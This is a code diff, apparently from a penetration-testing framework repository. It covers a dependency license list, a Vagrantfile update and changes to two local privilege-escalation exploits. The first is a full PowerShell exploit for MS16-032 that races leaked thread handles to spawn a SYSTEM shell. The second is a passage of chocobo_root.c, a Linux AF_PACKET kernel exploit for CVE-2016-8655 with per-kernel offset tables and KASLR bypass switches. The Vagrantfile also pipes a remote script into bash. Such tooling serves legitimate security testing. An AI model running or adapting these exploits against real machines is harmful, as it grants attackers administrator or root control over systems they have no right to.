rex-socket, 0.1.20, "New BSD"
rex-socket, 0.1.22, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.24, "New BSD"
rex-zip, 0.1.3, "New BSD"
rexml, 3.2.4, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.9.0, MIT
rspec-core, 3.9.0, MIT
rspec-expectations, 3.9.0, MIT
rspec-mocks, 3.9.0, MIT
rspec-rails, 3.9.0, MIT
rspec-core, 3.9.1, MIT
rspec-expectations, 3.9.1, MIT
rspec-mocks, 3.9.1, MIT
rspec-rails, 3.9.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.9.0, MIT
rspec-support, 3.9.2, MIT
rubocop, 0.80.1, MIT
ruby-macho, 2.2.0, MIT
ruby-prof, 1.3.1, "Simplified BSD"
ruby-progressbar, 1.10.1, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.1.0, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 2.0.0, "Simplified BSD"
rubyzip, 2.3.0, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.17.1, MIT
simplecov-html, 0.10.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.2, MIT
sinatra, 1.4.8, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.7.2, "GPLv2+, Ruby 1.8"
thor, 0.20.3, MIT
thor, 1.0.1, MIT
thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.10, MIT
timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.5, MIT
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.6, MIT
tzinfo-data, 1.2019.3, MIT
unicode-display_width, 1.6.1, MIT
warden, 1.2.7, MIT
websocket-driver, 0.7.1, "Apache 2.0"
websocket-extensions, 0.1.4, "Apache 2.0"
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.20, MIT
yard, 0.9.24, MIT
Vendored
+2 -2
View File
@@ -3,7 +3,7 @@
Vagrant.configure(2) do |config|
config.ssh.forward_x11 = true
config.vm.box = "ubuntu/xenial64"
config.vm.box = "ubuntu/bionic64"
config.vm.network :forwarded_port, guest: 4444, host: 4444
config.vm.provider "vmware" do |v|
v.memory = 2048
@@ -28,7 +28,7 @@ Vagrant.configure(2) do |config|
config.vm.provision "shell", inline: step
end
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB",
"curl -L https://get.rvm.io | bash -s stable",
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
+364 -340
View File
@@ -1,347 +1,371 @@
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
# All rights reserved
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
#function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
.EXAMPLE
C:\PS> Invoke-MS16-032
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -ErrorAction SilentlyContinue -Verbose).FullName
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($hThread)
if ($CallResult -ne 0) {
echo "[!] $hThread is a bad thread, exiting.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
# Null $SysTokenHandle
$script:SysTokenHandle = [IntPtr]::Zero
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($hThread)
}
# main() <--- ;)
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
echo "[>] Duplicating CreateProcessWithLogonW handle"
$hThread = Get-ThreadHandle
# If no thread handle is captured, the box is patched
if ($hThread -eq 0) {
echo "[!] No valid thread handle was captured, exiting!`n"
Return
} else {
echo "[?] Done, using thread handle: $hThread"
} echo "`n[*] Sniffing out privileged impersonation token.."
# Get handle to SYSTEM access token
Get-SystemToken
# If we fail a check in Get-SystemToken, exit
if ($SysTokenHandle -eq 0) {
Return
}
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($hThread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
}
}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
$path1 = $env:windir
$path1 = "$path1\System32\cmd.exe"
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $path1, "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $cmd, $args1,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
echo "$end"
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Trying thread handle: $Thread"
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($Thread)
if ($CallResult -ne 0) {
echo "[!] $Thread is a bad thread, moving on.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
$script:SysTokenHandle = [IntPtr]::Zero
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($Thread)
}
# main() <--- ;)
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
# Create array for Threads & TID's
$ThreadArray = @()
$TidArray = @()
echo "[>] Duplicating CreateProcessWithLogonW handles.."
# Loop 1 is fine, this never fails unless patched in which case the handle is 0
for ($i=0; $i -lt 1; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = [Kernel32]::GetThreadId($hThread)
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread # This is what we need!
}
}
}
if ($($ThreadArray.length) -eq 0) {
echo "[!] No valid thread handles were captured, exiting!"
Return
} else {
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
echo "`n[?] Thread handle list:"
$ThreadArray
}
echo "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
# Get handle to SYSTEM access token
Get-SystemToken
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $cmd, $args1,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
exit
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
#}
Binary file not shown.
+142 -104
View File
@@ -1,7 +1,7 @@
/*
chocobo_root.c
linux AF_PACKET race condition exploit for CVE-2016-8655.
Includes KASLR and SMEP/SMAP bypasses.
Includes KASLR and SMEP bypasses. No SMAP bypass.
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
All kernel offsets have been tested on Ubuntu / Linux Mint.
@@ -11,7 +11,7 @@ user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread -Wall
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
@@ -75,7 +75,7 @@ Updated by <bcoles@gmail.com>
- check number of CPU cores
- KASLR bypasses
- additional kernel targets
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
*/
#define _GNU_SOURCE
@@ -85,13 +85,13 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/if_packet.h>
#include <netinet/in.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/types.h>
@@ -102,12 +102,6 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
#include <sys/utsname.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#define DEBUG
#ifdef DEBUG
@@ -116,9 +110,18 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SYSTEM_CHECKS 1
#define ENABLE_KASLR_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS
#if ENABLE_KASLR_BYPASS
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
#endif
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions()
@@ -131,6 +134,7 @@ const char *SYSCTL_PATH = "/proc/sys/hack";
volatile int barrier = 1;
volatile int vers_switcher_done = 0;
// kernel target struct
struct kernel_info {
char *kernel_version;
unsigned long proc_dostring;
@@ -139,6 +143,7 @@ struct kernel_info {
unsigned long set_memory_rw;
};
// Targets
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
@@ -170,6 +175,16 @@ struct kernel_info kernels[] = {
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
{ "4.4.0-21-lowlatency #37-Ubuntu", 0x88960, 0xe48e80, 0x28c3a0, 0x6fae0 },
{ "4.4.0-22-lowlatency #40-Ubuntu", 0x889c0, 0xe48f00, 0x28c570, 0x6fae0 },
{ "4.4.0-24-lowlatency #43-Ubuntu", 0x88ae0, 0xe48f00, 0x28c9a0, 0x6fae0 },
{ "4.4.0-28-lowlatency #47-Ubuntu", 0x88b20, 0xe48f80, 0x28ce20, 0x6fae0 },
{ "4.4.0-31-lowlatency #50-Ubuntu", 0x88b20, 0xe48f80, 0x28cf10, 0x6fae0 },
{ "4.4.0-34-lowlatency #53-Ubuntu", 0x88b20, 0xe48f80, 0x28cf50, 0x6fae0 },
{ "4.4.0-36-lowlatency #55-Ubuntu", 0x88b00, 0xe48f80, 0x28cf30, 0x6fad0 },
{ "4.4.0-38-lowlatency #57-Ubuntu", 0x88bd0, 0xe48f80, 0x28d580, 0x6fad0 },
{ "4.4.0-42-lowlatency #62-Ubuntu", 0x88c30, 0xe48f80, 0x28d5b0, 0x6faa0 },
};
#define VSYSCALL 0xffffffffff600000
@@ -202,6 +217,7 @@ struct tpacket_req3 tp;
int sfd;
int mapped = 0;
// timer_list struct defined in: include/linux/timer.h
struct timer_list {
void *next;
void *prev;
@@ -255,6 +271,10 @@ void *vers_switcher(void *arg)
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
#ifndef ETH_P_ARP
# define ETH_P_ARP 0x0806
#endif
void kmalloc(void)
{
while(1)
@@ -266,7 +286,7 @@ void pad_kmalloc(void)
int x;
for (x = 0; x < KMALLOC_PAD; x++)
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
dprintf("[-] pad_kmalloc() socket error\n");
dprintf("[-] pad_kmalloc() socket error: %m\n");
exit(EXIT_FAILURE);
}
